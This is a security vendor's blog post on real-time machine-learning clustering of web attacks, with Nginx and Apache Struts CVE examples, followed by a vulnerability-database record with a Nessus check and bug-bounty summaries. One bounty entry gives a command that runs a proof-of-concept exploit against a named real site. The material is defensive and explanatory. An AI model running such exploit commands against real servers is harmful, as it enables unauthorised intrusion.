In the previous blog posts in this series, we discussed the motivation for clustering attacks and the data used and how to calculate the distance between two attacks using different methods on each feature we extracted. In this final blog post, we’ll discuss the clustering algorithm itself – how to use the distance we calculated to create clusters from the data. We will discuss clustering in real time when only a small amount of data can be stored in memory. Finally, we’ll show some results of the algorithm based on real data from Imperva customers.
## Choosing a (realtime) clustering algorithm
Now we have all the basic ingredients to input into the algorithm. What’s left to decide is which clustering algorithm to use. There are many algorithms to choose from that meet varying needs, for example, we’ve previously written about [clustering](<https://www.imperva.com/blog/2017/07/clustering-and-dimensionality-reduction-understanding-the-magic-behind-machine-learning/>) techniques used in Imperva CounterBreach.
Here’s where the algorithm reality punched us right in the face: the demand from our engineering team was that the **clustering is done in** **real time**. Meaning each time a new event enters the system the algorithm needs to decide on the spot how to cluster it and update the current clustering state. This had been done with minimum memory, which meant that individual events could not be stored in memory.
The more popular and well-known clustering algorithms work on a batch of data instead of a stream, i.e., their input is a static dataset. So, this real-time requirement meant we had to look for other algorithms that work in streaming mode.
There are a [couple of methods](<https://en.wikipedia.org/wiki/Data_stream_clustering>) to use to cluster a stream of data. We won’t discuss these methods as they are more complex and technical, instead, we’ll present the requirements of our algorithm and what was needed for them to be met.
## Clustering requirements in streaming mode
First, a clustering algorithm in streaming mode needs to make decisions in real time, meaning that the algorithm maintains in memory a current state of the clusters and each time a new event enters the system the algorithm updates the clustering state. This is done instantaneously and without storing the discrete event in memory.
Second, we need to remember that each time the algorithm was making a decision it was doing so based on partial data. That’s because the algorithm only processed past data. If the algorithm were to know **all **of the events (past and future events) the decision it would make might be different. So, the algorithm must have a way to **undo decisions** it made in the past. The way the algorithm undoes its decisions is by splitting a cluster into smaller parts and merging the parts together into other clusters that are the best fit.
Finally, most of the streaming clustering algorithms from academic articles work on spatial data. This means that their input are points in a Euclidean space (think of it as coordinates in an n-dimensional space). Our data is more complex, it contains URLs which are strings, IPs, geographic coordinates and other varying features. These features cannot be easily embedded into a Euclidean space, and even if they would it would make no sense to do so. So, the algorithm we needed must assume only that we can calculate the distance between two data points, and not that they are embedded into a Euclidean space.
We used a homegrown algorithm to answer these needs. Clustering in streaming mode is always a trade-off between accuracy of the results and the time and memory efficiency. We tried to find the balance so the result would be as accurate as possible storing only the minimum amount of data needed in memory while performing the least possible amount of calculations with each incoming event. See Figure 7 for the general flow of clustering in streaming mode.
[](<https://www.imperva.com/blog/wp-content/uploads/2018/05/Clustering.png>)
Figure 7: Clustering in streaming mode - clusters may change due to new events entering the system
We stored aggregated structured data in memory instead of raw events; this way we were able to split clusters, to some extent, and rearrange them as would seem most appropriate. Also, in order to process data in real time, most of the time we used a light-weight distance function that wouldn’t take too much time to calculate and didn’t consider all the features. We used a heavier and more accurate distance function that considered all the features only at predefined times when there were enough new events that entered the system, as we expected the clustering state might change significantly.
Also, for performance considerations, we couldn’t cluster all the events from the beginning each time a new event entered the system. That’s why every time a new event came in the algorithm used its current clustering state to do calculations only on the clusters that may change due to the new event. This way we significantly reduced the time it took to process each new event.
## Results of the algorithm: Customer use cases
For validation of the algorithm, some of our web application firewall (WAF) customers provided us with logs containing events from their WAF. Here are three highlighted clusters which contain incidents we thought were interesting:
### Nginx integer overflow
CVE-2017-7529 is a vulnerability of Nginx that allows an attacker to launch an integer overflow attack using a crafted “range” header. We saw a cluster on a customer’s WAF containing over two thousand attacks from over 100 distinct IPs over a period of three days trying to exploit this vulnerability. Over 80% of the attacks came from the US and most of the attacks seemed to use the same attack tool. Also, the attack targeted many different URLs, although it targeted only two resource extensions: PDF and CFM.
### Email harvesting
Email collector robots try to scrape web applications to find email addresses. The purpose for email harvesting is mostly to collect lists of emails in order to sell them to spammers. We saw a cluster on a customer’s WAF which contained over 50 distinct IPs that performed email harvesting. The source of these attacks was very distributed, from the US, Europe, South America and Asia. Most of the targets were the home page of the application. This means that after the robots were blocked at the home page they didn’t proceed to scrape the rest of the site, probably moving on to try other websites which are not protected by a WAF. The same cluster was also found in more than five different web applications we analyzed indicating this is a popular attack.
### Attacks on Apache Struts vulnerabilities
In [previous blog posts](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) we discussed Apache Struts vulnerabilities, and how they are very popular among attackers, especially ones from Asian countries. [CVE-2017-5638](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) is an Apache Struts vulnerability published on March 2017 that allows attackers to launch remote code execution attacks using a crafted “content-type” header. We saw a cluster of attacks trying to utilize this vulnerability; most of the attacks came from China and the target was very distributed, containing multiple URLs. Also, in addition to this specific vulnerability, the attackers tried to utilize other vulnerabilities of Apache Struts. This is a popular phenomenon we see in our data: attackers trying to utilize different vulnerabilities of the same system, in this case Apache Struts. The cluster appeared on over ten different web applications we analyzed, and all the clusters contained similar attributes. This indicates the popularity of Apache Struts vulnerabilities among attackers.
## Conclusion
Clustering application attacks is a challenging task that requires a lot of research and experimentation. Throughout the process, we encountered many difficulties and made a number of decisions regarding the algorithm. Many due to real life constraints not seen in academic research. Customer applications don’t live in a lab so the solutions that protect them can’t either.
Knowledge of the application security domain and a deep understanding of data are both – in our experience – crucial prerequisites for the design and implementation of any successful machine learning algorithm built to protect apps and the data that connects to them.
Learn more about protecting apps from attacks with [Imperva SecureSphere](<https://www.imperva.com/Products/WebApplicationFirewall-WAF>) or [Imperva Incapsula](<https://www.incapsula.com/website-security/web-application-firewall.html>) Web Application Firewall.
{"id": "IMPERVABLOG:697E34BE77BECD65BF763ECF92DD1B9F", "type": "impervablog", "bulletinFamily": "blog", "title": "Clustering App Attacks with Machine Learning Part 3: Algorithm Results", "description": "In the previous blog posts in this series, we discussed the motivation for clustering attacks and the data used and how to calculate the distance between two attacks using different methods on each feature we extracted. In this final blog post, we\u2019ll discuss the clustering algorithm itself \u2013 how to use the distance we calculated to create clusters from the data. We will discuss clustering in real time when only a small amount of data can be stored in memory. Finally, we\u2019ll show some results of the algorithm based on real data from Imperva customers.\n\n## Choosing a (realtime) clustering algorithm\n\nNow we have all the basic ingredients to input into the algorithm. What\u2019s left to decide is which clustering algorithm to use. There are many algorithms to choose from that meet varying needs, for example, we\u2019ve previously written about [clustering](<https://www.imperva.com/blog/2017/07/clustering-and-dimensionality-reduction-understanding-the-magic-behind-machine-learning/>) techniques used in Imperva CounterBreach.\n\nHere\u2019s where the algorithm reality punched us right in the face: the demand from our engineering team was that the **clustering is done in** **real time**. Meaning each time a new event enters the system the algorithm needs to decide on the spot how to cluster it and update the current clustering state. This had been done with minimum memory, which meant that individual events could not be stored in memory.\n\nThe more popular and well-known clustering algorithms work on a batch of data instead of a stream, i.e., their input is a static dataset. So, this real-time requirement meant we had to look for other algorithms that work in streaming mode.\n\nThere are a [couple of methods](<https://en.wikipedia.org/wiki/Data_stream_clustering>) to use to cluster a stream of data. We won\u2019t discuss these methods as they are more complex and technical, instead, we\u2019ll present the requirements of our algorithm and what was needed for them to be met.\n\n## Clustering requirements in streaming mode\n\nFirst, a clustering algorithm in streaming mode needs to make decisions in real time, meaning that the algorithm maintains in memory a current state of the clusters and each time a new event enters the system the algorithm updates the clustering state. This is done instantaneously and without storing the discrete event in memory.\n\nSecond, we need to remember that each time the algorithm was making a decision it was doing so based on partial data. That\u2019s because the algorithm only processed past data. If the algorithm were to know **all **of the events (past and future events) the decision it would make might be different. So, the algorithm must have a way to **undo decisions** it made in the past. The way the algorithm undoes its decisions is by splitting a cluster into smaller parts and merging the parts together into other clusters that are the best fit.\n\nFinally, most of the streaming clustering algorithms from academic articles work on spatial data. This means that their input are points in a Euclidean space (think of it as coordinates in an n-dimensional space). Our data is more complex, it contains URLs which are strings, IPs, geographic coordinates and other varying features. These features cannot be easily embedded into a Euclidean space, and even if they would it would make no sense to do so. So, the algorithm we needed must assume only that we can calculate the distance between two data points, and not that they are embedded into a Euclidean space.\n\nWe used a homegrown algorithm to answer these needs. Clustering in streaming mode is always a trade-off between accuracy of the results and the time and memory efficiency. We tried to find the balance so the result would be as accurate as possible storing only the minimum amount of data needed in memory while performing the least possible amount of calculations with each incoming event. See Figure 7 for the general flow of clustering in streaming mode.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/05/Clustering.png>)\n\nFigure 7: Clustering in streaming mode - clusters may change due to new events entering the system\n\nWe stored aggregated structured data in memory instead of raw events; this way we were able to split clusters, to some extent, and rearrange them as would seem most appropriate. Also, in order to process data in real time, most of the time we used a light-weight distance function that wouldn\u2019t take too much time to calculate and didn\u2019t consider all the features. We used a heavier and more accurate distance function that considered all the features only at predefined times when there were enough new events that entered the system, as we expected the clustering state might change significantly.\n\nAlso, for performance considerations, we couldn\u2019t cluster all the events from the beginning each time a new event entered the system. That\u2019s why every time a new event came in the algorithm used its current clustering state to do calculations only on the clusters that may change due to the new event. This way we significantly reduced the time it took to process each new event.\n\n## Results of the algorithm: Customer use cases\n\nFor validation of the algorithm, some of our web application firewall (WAF) customers provided us with logs containing events from their WAF. Here are three highlighted clusters which contain incidents we thought were interesting:\n\n### Nginx integer overflow\n\nCVE-2017-7529 is a vulnerability of Nginx that allows an attacker to launch an integer overflow attack using a crafted \u201crange\u201d header. We saw a cluster on a customer\u2019s WAF containing over two thousand attacks from over 100 distinct IPs over a period of three days trying to exploit this vulnerability. Over 80% of the attacks came from the US and most of the attacks seemed to use the same attack tool. Also, the attack targeted many different URLs, although it targeted only two resource extensions: PDF and CFM.\n\n### Email harvesting\n\nEmail collector robots try to scrape web applications to find email addresses. The purpose for email harvesting is mostly to collect lists of emails in order to sell them to spammers. We saw a cluster on a customer\u2019s WAF which contained over 50 distinct IPs that performed email harvesting. The source of these attacks was very distributed, from the US, Europe, South America and Asia. Most of the targets were the home page of the application. This means that after the robots were blocked at the home page they didn\u2019t proceed to scrape the rest of the site, probably moving on to try other websites which are not protected by a WAF. The same cluster was also found in more than five different web applications we analyzed indicating this is a popular attack.\n\n### Attacks on Apache Struts vulnerabilities\n\nIn [previous blog posts](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) we discussed Apache Struts vulnerabilities, and how they are very popular among attackers, especially ones from Asian countries. [CVE-2017-5638](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) is an Apache Struts vulnerability published on March 2017 that allows attackers to launch remote code execution attacks using a crafted \u201ccontent-type\u201d header. We saw a cluster of attacks trying to utilize this vulnerability; most of the attacks came from China and the target was very distributed, containing multiple URLs. Also, in addition to this specific vulnerability, the attackers tried to utilize other vulnerabilities of Apache Struts. This is a popular phenomenon we see in our data: attackers trying to utilize different vulnerabilities of the same system, in this case Apache Struts. The cluster appeared on over ten different web applications we analyzed, and all the clusters contained similar attributes. This indicates the popularity of Apache Struts vulnerabilities among attackers.\n\n## Conclusion\n\nClustering application attacks is a challenging task that requires a lot of research and experimentation. Throughout the process, we encountered many difficulties and made a number of decisions regarding the algorithm. Many due to real life constraints not seen in academic research. Customer applications don\u2019t live in a lab so the solutions that protect them can\u2019t either.\n\nKnowledge of the application security domain and a deep understanding of data are both \u2013 in our experience \u2013 crucial prerequisites for the design and implementation of any successful machine learning algorithm built to protect apps and the data that connects to them.\n\nLearn more about protecting apps from attacks with [Imperva SecureSphere](<https://www.imperva.com/Products/WebApplicationFirewall-WAF>) or [Imperva Incapsula](<https://www.incapsula.com/website-security/web-application-firewall.html>) Web Application Firewall.", "published": "2018-06-19T22:41:03", "modified": "2018-06-19T22:41:03", "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/", "score": 10.0}, "href": "https://www.imperva.com/blog/2018/06/clustering-app-attacks-with-machine-learning-part-3-algorithm-results/", "reporter": "Gilad Yehudai", "references": [], "cvelist": ["CVE-2017-5638", "CVE-2017-7529"], "lastseen": "2018-06-20T00:15:21", "viewCount": 435, "enchantments": {"dependencies": {"references": [{"type": "amazon", "idList": ["ALAS-2017-894"]}, {"type": "apple", "idList": ["APPLE:276BA6E296271A3B66AE834C380D43C1"]}, {"type": "archlinux", "idList": ["ASA-201707-11", "ASA-201707-12"]}, {"type": "atlassian", "idList": ["ATLASSIAN:BAM-18242", "ATLASSIAN:CWD-4879", "BAM-18242", "CWD-4879"]}, {"type": "attackerkb", "idList": ["AKB:289DC3CE-ED8A-4366-89F0-46E148584C36", "AKB:BDF59C15-D64F-45D5-B1AC-D1B9DD354080"]}, {"type": "canvas", "idList": ["STRUTS_OGNL"]}, {"type": "cert", "idList": ["VU:834067"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2017-0197", "CPAI-2017-0676", "CPAI-2017-0681"]}, {"type": "cisco", "idList": ["CISCO-SA-20170310-STRUTS2"]}, {"type": "cloudfoundry", "idList": ["CFOUNDRY:C2B8B89ADB85BB41095EAA7D88C0E350"]}, {"type": "cve", "idList": ["CVE-2017-5638", "CVE-2017-7529"]}, {"type": "debian", "idList": ["DEBIAN:DLA-1024-1:36E15", "DEBIAN:DSA-3908-1:43B42"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2017-7529"]}, {"type": "f5", "idList": ["F5:K43451236", "F5:K48602933"]}, {"type": "fedora", "idList": ["FEDORA:2DC67604CCE7", "FEDORA:EAEA96098DD6"]}, {"type": "freebsd", "idList": ["B28ADC5B-6693-11E7-AD43-F0DEF16C5C1B"]}, {"type": "github", "idList": ["GHSA-J77Q-2QQG-6989"]}, {"type": "hackerone", "idList": ["H1:980856"]}, {"type": "huawei", "idList": ["HUAWEI-SA-20170316-01-STRUTS2"]}, {"type": "ibm", "idList": ["17C115EF321C8218815D4DC127DA7DEF1126A607ADF659E9296C174082C13C6B", "5CB7B4557DF81B61016452CDDA6B8C2940D1F7774048AC1A287BA44AC950F3D6", "6470A30C25E8E98A770393E4946FDE7CFE3362A1DD3B87E75F8DB1F7CE3E88A5", "7E0744D5936EDC5F018B0850D801B665D388060D6A81B986BC7AD81C9A78C0EE", "7E0CCCCB457D8A77AB9E189B336C99165EE3DEBFD72C3969F0C1103ED1D1CC6D"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:4F187FDBA230373382F26BA12E00F8E7", "IMPERVABLOG:5E50E2263AEAFE98B90E01B16AA73334", "IMPERVABLOG:6BF557CA0830C9058E2409E8C914366C", "IMPERVABLOG:9AF395FCAE299375F787DBC7B797E713", "IMPERVABLOG:C40BB28F51D206C8BB23721D1ECED353", "IMPERVABLOG:DA39045C8E700086C560AAFFDBA589A6"]}, {"type": "kitploit", "idList": ["KITPLOIT:1524013824799763480", "KITPLOIT:1841841790447853746", "KITPLOIT:2304674796555328667", "KITPLOIT:4611207874033525364", "KITPLOIT:5052987141331551837", "KITPLOIT:5230099254245458698", "KITPLOIT:5420210148456420402", "KITPLOIT:7013881512724945934", "KITPLOIT:7835941952769002973", "KITPLOIT:8672599587089685905", "KITPLOIT:9079806502812490909"]}, {"type": "krebs", "idList": ["KREBS:EE70929DE902D9B233E209B73C1AD4A0"]}, {"type": "lenovo", "idList": ["LENOVO:PS500093-APACHE-STRUTS-OPEN-SOURCE-FRAMEWORK-REMOTE-CODE-EXECUTION-NOSID", "LENOVO:PS500093-NOSID"]}, {"type": "mageia", "idList": ["MGASA-2017-0231"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:4993027161793E66024E0B42522BB53D"]}, {"type": "myhack58", "idList": ["MYHACK58:62201784024", "MYHACK58:62201784026", "MYHACK58:62201784086", "MYHACK58:62201784379", "MYHACK58:62201786819", "MYHACK58:62201787861", "MYHACK58:62201890758", "MYHACK58:62201891264", "MYHACK58:62201993410"]}, {"type": "nessus", "idList": ["700055.PRM", "ALA_ALAS-2017-894.NASL", "DEBIAN_DLA-1024.NASL", "DEBIAN_DSA-3908.NASL", "FEDORA_2017-AECD25B8A9.NASL", "FEDORA_2017-C27A947AF1.NASL", "FREEBSD_PKG_B28ADC5B669311E7AD43F0DEF16C5C1B.NASL", "MYSQL_ENTERPRISE_MONITOR_3_3_3_1199.NASL", "NGINX_1_13_2.NASL", "NGINX_1_13_3.NASL", "NGINX_PLUS_R13.NASL", "OPENSUSE-2017-867.NASL", "OPENSUSE-2018-316.NASL", "ORACLELINUX_ELSA-2020-5859.NASL", "ORACLELINUX_ELSA-2020-5862.NASL", "ORACLE_WEBCENTER_SITES_APR_2017_CPU.NASL", "ORACLE_WEBLOGIC_SERVER_CPU_APR_2017.NASL", "ORACLE_WEBLOGIC_SERVER_CPU_JUL_2017.NASL", "ORACLE_WEBLOGIC_SERVER_CVE-2017-9805.NBIN", "PALO_ALTO_CVE-2017-7529.NASL", "PHOTONOS_PHSA-2017-0038.NASL", "SELLIGENT_MESSAGE_STUDIO_RCE.NBIN", "STRUTS_2_5_10_1_RCE.NASL", "STRUTS_2_5_10_1_WIN_LOCAL.NASL", "UBUNTU_USN-3352-1.NASL", "WEB_APPLICATION_SCANNING_112726", "WEB_APPLICATION_SCANNING_98966", "WEB_APPLICATION_SCANNING_98967"]}, {"type": "nginx", "idList": ["NGINX:CVE-2017-7529"]}, {"type": "nmap", "idList": ["NMAP:HTTP-VULN-CVE2017-5638.NSE"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310106640", "OPENVAS:1361412562310106646", "OPENVAS:1361412562310106647", "OPENVAS:1361412562310106652", "OPENVAS:1361412562310106653", "OPENVAS:1361412562310106736", "OPENVAS:1361412562310108771", "OPENVAS:1361412562310140180", "OPENVAS:1361412562310140190", "OPENVAS:1361412562310140229", "OPENVAS:1361412562310141398", "OPENVAS:1361412562310703908", "OPENVAS:1361412562310810748", "OPENVAS:1361412562310811235", "OPENVAS:1361412562310811244", "OPENVAS:1361412562310843240", "OPENVAS:1361412562310873300", "OPENVAS:1361412562310873309", "OPENVAS:1361412562310891024", "OPENVAS:703908"]}, {"type": "oracle", "idList": ["ORACLE:CPUAPR2017", "ORACLE:CPUAPR2017-3236618", "ORACLE:CPUJUL2017", "ORACLE:CPUJUL2017-3236622"]}, {"type": "oraclelinux", "idList": ["ELSA-2020-5859", "ELSA-2020-5862"]}, {"type": "osv", "idList": ["OSV:DLA-1024-1", "OSV:DSA-3908-1", "OSV:GHSA-J77Q-2QQG-6989"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:141576", "PACKETSTORM:141630"]}, {"type": "paloalto", "idList": ["PA-CVE-2017-7529"]}, {"type": "pentestit", "idList": ["PENTESTIT:C47AA6D1808026ACA45B1AD1CF25CA3B", "PENTESTIT:F5DFB26B34C75683830E664CBD58178F"]}, {"type": "photon", "idList": ["PHSA-2017-0078"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:110CC96D8440CC2A1EA0521D300634ED", "QUALYSBLOG:1A5EE9D9F7F017B2137FF614703A8605", "QUALYSBLOG:5C311FA52DD78D7015076D492F321DB0", "QUALYSBLOG:9BA334FCEF38374A0B09A0614B2D74D4", "QUALYSBLOG:AB2325C5FBED5CF55517445600D470C1"]}, {"type": "rapid7community", "idList": ["RAPID7COMMUNITY:078B46BBA3057CDE37845D48479CC3DD"]}, {"type": "redhat", "idList": ["RHSA-2017:2538"]}, {"type": "redhatcve", "idList": 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Note that Nessus has not attempted to\nexploit these issues but has instead relied only on the application's self-reported version number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.oracle.com/security-alerts/cpuapr2017.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply the appropriate patch according to the April 2017 Oracle Critical Patch Update advisory.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2017-5638\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Apache Struts Jakarta Multipart Parser OGNL Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/04/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/04/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/06/01\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:oracle:fusion_middleware\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_set_attribute(attribute:\"thorough_tests\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"oracle_webcenter_sites_installed.nbin\");\n script_require_keys(\"SMB/WebCenter_Sites/Installed\");\n\n exit(0);\n}\n\nport = get_kb_item('SMB/transport');\nif (isnull(port))\n port = 445;\n\nget_kb_item_or_exit('SMB/WebCenter_Sites/Installed');\n\nversions = get_kb_list('SMB/WebCenter_Sites/*/Version');\nif (isnull(versions)) exit(1, 'Unable to obtain a version list for Oracle WebCenter Sites.');\n\nreport = '';\n\nforeach key (keys(versions))\n{\n fix = '';\n\n version = versions[key];\n revision = get_kb_item(key - '/Version' + '/Revision');\n path = get_kb_item(key - '/Version' + '/Path');\n\n if (isnull(version) || isnull(revision)) continue;\n\n # Patch 25883419 - 11.1.1.8.0 < Revision 184000 \n if (version =~ \"^11\\.1\\.1\\.8\\.0$\" && revision < 184000)\n {\n fix = '\\n Fixed revision : 184000' +\n '\\n Required patch : 25883419';\n }\n # Patch 25806935 - 12.2.1.0.0 < Revision 184040 \n else if (version =~ \"^12\\.2\\.1\\.0\\.0$\" && revision < 184040)\n {\n fix = '\\n Fixed revision : 184040' +\n '\\n Required patch : 25806935';\n }\n # Patch 25806943 - 12.2.1.1.0 < Revision 184025 \n else if (version =~ \"^12\\.2\\.1\\.1\\.0$\" && revision < 184025)\n {\n fix = '\\n Fixed revision : 184025' +\n '\\n Required patch : 25806943';\n }\n # Patch 25806946 - 12.2.1.2.0 < Revision 184026 \n else if (version =~ \"^12\\.2\\.1\\.2\\.0$\" && revision < 184026)\n {\n fix = '\\n Fixed revision : 184026' +\n '\\n Required patch : 25806946';\n }\n\n if (fix != '')\n {\n if (!isnull(path)) report += '\\n Path : ' + path;\n report += '\\n Version : ' + version +\n '\\n Revision : ' + revision +\n fix + '\\n';\n }\n}\n\nif (report != '') security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);\nelse audit(AUDIT_INST_VER_NOT_VULN, \"Oracle WebCenter Sites\");\n\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "hackerone": [{"lastseen": "2023-06-05T15:30:18", "bounty": 100.0, "description": "ou can verify the vulnerability by executing attached POC.\n\npython CVE_2017_7529.py https://publishers.basicattentiontoken.org/favicon.ico\n\ncommand.\n\nAll details available at\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-7529\nhttps://gist.github.com/thehappydinoa/bc3278aea845b4f578362e9363c51115\n\nPlease do the needful.\n\n## Impact\n\nThe POC demonstrates working exploint.\nIn the exploit function the script 'determines' if the server is vulnerable based on the response. Specifically in determining if the vulnerability exists, the script sends a request with some calculated \"Range\" value, based on the response content. More specifically, it tries to get the byte range from 623 bytes after the full content until the last (very high number) bytes.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-09-12T20:12:13", "type": "hackerone", "title": "Brave Software: https://publishers.basicattentiontoken.org/favicon.ico is Vulnerable to CVE-2017-7529", "bulletinFamily": "bugbounty", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2020-12-16T18:08:22", "id": "H1:980856", "href": "https://hackerone.com/reports/980856", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-06-05T15:32:48", "bounty": 0.0, "description": "Integer Overflow - The issue affects nginx 0.5.6 - 1.13.2.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-05-16T22:40:29", "type": "hackerone", "title": "Stripo Inc: Integer Overflow (CVE_2017_7529)", "bulletinFamily": "bugbounty", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2020-07-13T11:56:45", "id": "H1:876257", "href": "https://hackerone.com/reports/876257", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-07-06T16:00:44", "bounty": 0.0, "description": "A remote code execution (RCE) vulnerability was found on a DoD website which could have enabled an attacker to execute remote commands on the web server. @0daystolive and @dly were able to demonstrate this vulnerability by developing a custom script that caused the webserver to execute a benign command. This was a very clever demonstration. Thank you!", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-13T13:22:29", "type": "hackerone", "title": "U.S. Dept Of Defense: Remote Code Execution (RCE) in a DoD website", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-05-31T21:36:13", "id": "H1:213069", "href": "https://hackerone.com/reports/213069", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-01T00:57:28", "bounty": 0.0, "description": "A remote code execution (RCE) vulnerability was found on a DoD website which could have enabled an attacker to execute remote commands on the web server. Thank you @n0rb3r7 for notifying us of this vulnerability!\nI was able to leverage a recent, well-known vulnerability to achieve arbitrary, remote command execution on a U.S. Department Of Defense server.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-13T04:14:12", "type": "hackerone", "title": "U.S. Dept Of Defense: Remote code execution vulnerability on a DoD website", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": 